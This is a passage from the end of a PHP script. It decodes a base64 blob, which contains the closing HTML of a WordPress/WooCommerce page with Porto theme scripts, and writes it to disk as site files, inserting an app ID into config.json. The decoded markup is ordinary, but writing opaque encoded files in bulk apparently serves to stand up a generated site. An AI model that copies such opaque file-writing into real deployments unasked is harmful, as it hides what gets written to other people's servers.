NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItaWNvbnMtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvY3VzdG9tLWZyb250ZW5kLWxpdGUubWluLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvcG9zdC0yMTUyLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycNCiAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvY3NzL3JzNi5jc3M/dmVyPTYuNS4yMCcgbWVkaWE9J2FsbCcvPg0KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcyc+DQogICAgI3JzLWRlbW8taWQgew0KICAgIH0NCjwvc3R5bGU+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9zd3YvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nc3d2LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2NvbnRhY3QtZm9ybS03LWpzLWV4dHJhJz4NCiAgICB2YXIgd3BjZjcgPSB7ImFwaSI6IHsicm9vdCI6ICJcL3dwLWpzb25cLyIsICJuYW1lc3BhY2UiOiAiY29udGFjdC1mb3JtLTdcL3YxIn19Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdjb250YWN0LWZvcm0tNy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yYnRvb2xzLm1pbi5qcz92ZXI9Ni41LjE4JyBkZWZlciBhc3luYw0KICAgICAgICBpZD0ndHAtdG9vbHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcnM2Lm1pbi5qcz92ZXI9Ni41LjIwJyBkZWZlciBhc3luYyBpZD0ncmV2bWluLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktYmxvY2t1aS9qcXVlcnkuYmxvY2tVSS5taW4uanM/dmVyPTIuNy4wLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWJsb2NrdWktanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtYWRkLXRvLWNhcnQtanMtZXh0cmEnPg0KICAgIHZhciB3Y19hZGRfdG9fY2FydF9wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJpMThuX3ZpZXdfY2FydCI6ICJWaWV3IGNhcnQiLA0KICAgICAgICAiY2FydF91cmwiOiAiXC9jYXJ0IiwNCiAgICAgICAgImlzX2NhcnQiOiAiIiwNCiAgICAgICAgImNhcnRfcmVkaXJlY3RfYWZ0ZXJfYWRkIjogIm5vIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9hZGQtdG8tY2FydC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMtZXh0cmEnPg0KICAgIHZhciB3Y19zaW5nbGVfcHJvZHVjdF9wYXJhbXMgPSB7DQogICAgICAgICJpMThuX3JlcXVpcmVkX3JhdGluZ190ZXh0IjogIlBsZWFzZSBzZWxlY3QgYSByYXRpbmciLA0KICAgICAgICAicmV2aWV3X3JhdGluZ19yZXF1aXJlZCI6ICJ5ZXMiLA0KICAgICAgICAiZmxleHNsaWRlciI6IHsNCiAgICAgICAgICAgICJydGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb24iOiAic2xpZGUiLA0KICAgICAgICAgICAgInNtb290aEhlaWdodCI6IHRydWUsDQogICAgICAgICAgICAiZGlyZWN0aW9uTmF2IjogZmFsc2UsDQogICAgICAgICAgICAiY29udHJvbE5hdiI6ICJ0aHVtYm5haWxzIiwNCiAgICAgICAgICAgICJzbGlkZXNob3ciOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb25TcGVlZCI6IDUwMCwNCiAgICAgICAgICAgICJhbmltYXRpb25Mb29wIjogZmFsc2UsDQogICAgICAgICAgICAiYWxsb3dPbmVTbGlkZSI6IGZhbHNlDQogICAgICAgIH0sDQogICAgICAgICJ6b29tX2VuYWJsZWQiOiAiIiwNCiAgICAgICAgInpvb21fb3B0aW9ucyI6IFtdLA0KICAgICAgICAicGhvdG9zd2lwZV9lbmFibGVkIjogIiIsDQogICAgICAgICJwaG90b3N3aXBlX29wdGlvbnMiOiB7DQogICAgICAgICAgICAic2hhcmVFbCI6IGZhbHNlLA0KICAgICAgICAgICAgImNsb3NlT25TY3JvbGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJoaXN0b3J5IjogZmFsc2UsDQogICAgICAgICAgICAiaGlkZUFuaW1hdGlvbkR1cmF0aW9uIjogMCwNCiAgICAgICAgICAgICJzaG93QW5pbWF0aW9uRHVyYXRpb24iOiAwDQogICAgICAgIH0sDQogICAgICAgICJmbGV4c2xpZGVyX2VuYWJsZWQiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9zaW5nbGUtcHJvZHVjdC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pzLWNvb2tpZS9qcy5jb29raWUubWluLmpzP3Zlcj0yLjEuNC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pzLWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3b29jb21tZXJjZS1qcy1leHRyYSc+DQogICAgdmFyIHdvb2NvbW1lcmNlX3BhcmFtcyA9IHsiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLCAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3dvb2NvbW1lcmNlLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3b29jb21tZXJjZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcy1leHRyYSc+DQogICAgdmFyIHdjX2NhcnRfZnJhZ21lbnRzX3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImNhcnRfaGFzaF9rZXkiOiAid2NfY2FydF9oYXNoX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgImZyYWdtZW50X25hbWUiOiAid2NfZnJhZ21lbnRzX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgInJlcXVlc3RfdGltZW91dCI6ICI1MDAwIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9jYXJ0LWZyYWdtZW50cy5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMtZXh0cmEnPg0KICAgIHZhciBwb3J0b19saXZlX3NlYXJjaCA9IHsibm9uY2UiOiAiZjg5MmRkOTQ2OSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2luYy9saWIvbGl2ZS1zZWFyY2gvbGl2ZS1zZWFyY2gubWluLmpzP3Zlcj02LjcuMicNCiAgICAgICAgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvby1hamF4LWFkZC10by1jYXJ0L2Fzc2V0cy9mcm9udGVuZC93b28tYWpheC1hZGQtdG8tY2FydC5taW4uanM/dmVyPTEuNC4wJw0KICAgICAgICBpZD0nd29vLWFqYXgtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9jb21tZW50LXJlcGx5Lm1pbi5qcz92ZXI9Ni4xLjUnIGlkPSdjb21tZW50LXJlcGx5LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvYm9vdHN0cmFwLmpzP3Zlcj01LjAuMScgaWQ9J2Jvb3RzdHJhcC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWNvb2tpZS9qcXVlcnkuY29va2llLm1pbi5qcz92ZXI9MS40LjEtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9vd2wuY2Fyb3VzZWwubWluLmpzP3Zlcj0yLjMuNCcgaWQ9J293bC5jYXJvdXNlbC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2ltYWdlc2xvYWRlZC5taW4uanM/dmVyPTQuMS40JyBpZD0naW1hZ2VzbG9hZGVkLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2pxdWVyeS5tYWduaWZpYy1wb3B1cC5taW4uanM/dmVyPTEuMS4wJw0KICAgICAgICBpZD0nanF1ZXJ5LW1hZ25pZmljLXBvcHVwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkuZWxldmF0ZXpvb20ubWluLmpzP3Zlcj0zLjAuOCcgaWQ9J2pxdWVyeS1lbGV2YXRlem9vbS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSIsDQogICAgICAgICJwcmVfb3JkZXIiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLWFzeW5jLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXRoZW1lLWFzeW5jLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvd29vY29tbWVyY2UtdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8td29vY29tbWVyY2UtdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2Vhc3ktcmVzcG9uc2l2ZS10YWJzLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdlYXN5LXJlc3BvbnNpdmUtdGFicy1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
);

foreach ($files as $fileName => $encodedContent) {
    $decodedContent = base64_decode($encodedContent);
    if ($fileName === 'config.json') {
        // 随机替换 {app} 为 $app_ids 数组中的一个元素
        $randomAppId = $app_ids[0];
        $decodedContent = str_replace('{app}', $randomAppId, $decodedContent);
    }
    file_put_contents($fileName, $decodedContent);
    echo "File: $fileName has been written.\n";
}